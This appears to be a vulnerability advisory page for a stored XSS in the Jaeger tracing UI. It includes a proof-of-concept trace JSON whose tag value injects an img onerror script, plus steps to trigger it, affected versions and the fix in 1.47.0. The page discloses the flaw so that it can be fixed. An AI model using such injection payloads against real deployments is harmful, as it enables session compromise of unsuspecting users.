GHSA-2w8w-qhg4-f78j A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

Not scored Published 11 Jul 2023

Stored XSS in Jaeger UI allows attackers to execute arbitrary JavaScript via malicious trace attributes, potentially compromising user sessions.

Exploited in the wild: Not known
Login needed: Not needed
Attackable: Over the internet
Victim action needed: A user has to click or open something
Fix: Available

What is GHSA-2w8w-qhg4-f78j?

GHSA-2w8w-qhg4-f78j is a cross-site scripting vulnerability in github.com/jaegertracing/jaeger, published on 11 Jul 2023. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.

Official description

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    &#34;data&#34;: [
        {
            &#34;traceID&#34;: &#34;076ef819cc06c45a&#34;,
            &#34;spans&#34;: [
                {
                    &#34;traceID&#34;: &#34;076ef819cc06c45a&#34;,
                    &#34;spanID&#34;: &#34;076ef819cc06c45a&#34;,
                    &#34;flags&#34;: 1,
                    &#34;operationName&#34;: &#34;and open &#39;attributes&#39;&#34;,
                    &#34;references&#34;: [],
                    &#34;startTime&#34;: 1678196149232010,
                    &#34;duration&#34;: 13485,
                    &#34;tags&#34;: [
                        {
                            &#34;key&#34;: &#34;sampler.type&#34;,
                            &#34;type&#34;: &#34;string&#34;,
                            &#34;value&#34;: &#34;{\&#34;&lt;img src=x onerror=alert(1)&gt;\&#34;:\&#34;test\&#34;}&#34;
                        }
                    ],
                    &#34;logs&#34;: [],
                    &#34;processID&#34;: &#34;p1&#34;,
                    &#34;warnings&#34;: null
                }
            ],
            &#34;processes&#34;: {
                &#34;p1&#34;: {
                    &#34;serviceName&#34;: &#34;click here&#34;,
                    &#34;tags&#34;: [
                    ]
                }
            },
            &#34;warnings&#34;: null
        }
    ],
    &#34;total&#34;: 0,
    &#34;limit&#34;: 0,
    &#34;offset&#34;: 0,
    &#34;errors&#34;: null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Which versions are affected by GHSA-2w8w-qhg4-f78j?

2 open source packages ship an affected version, including github.com/jaegertracing/jaeger.

Package	Affected	Fixed in
`github.com/jaegertracing/jaeger` Go	All versions	`1.47.0`
`github.com/jaegertracing/jaeger` Go	All versions	`1.47.0`

How do I fix GHSA-2w8w-qhg4-f78j?

Upgrade github.com/jaegertracing/jaeger to 1.47.0 or later.

Escape output for the context it lands in and set a strict Content Security Policy. Upgrading the affected component is the real fix. More about Cross-site scripting.

Is GHSA-2w8w-qhg4-f78j being exploited?

There is no known exploitation of GHSA-2w8w-qhg4-f78j in the wild and no public exploit code.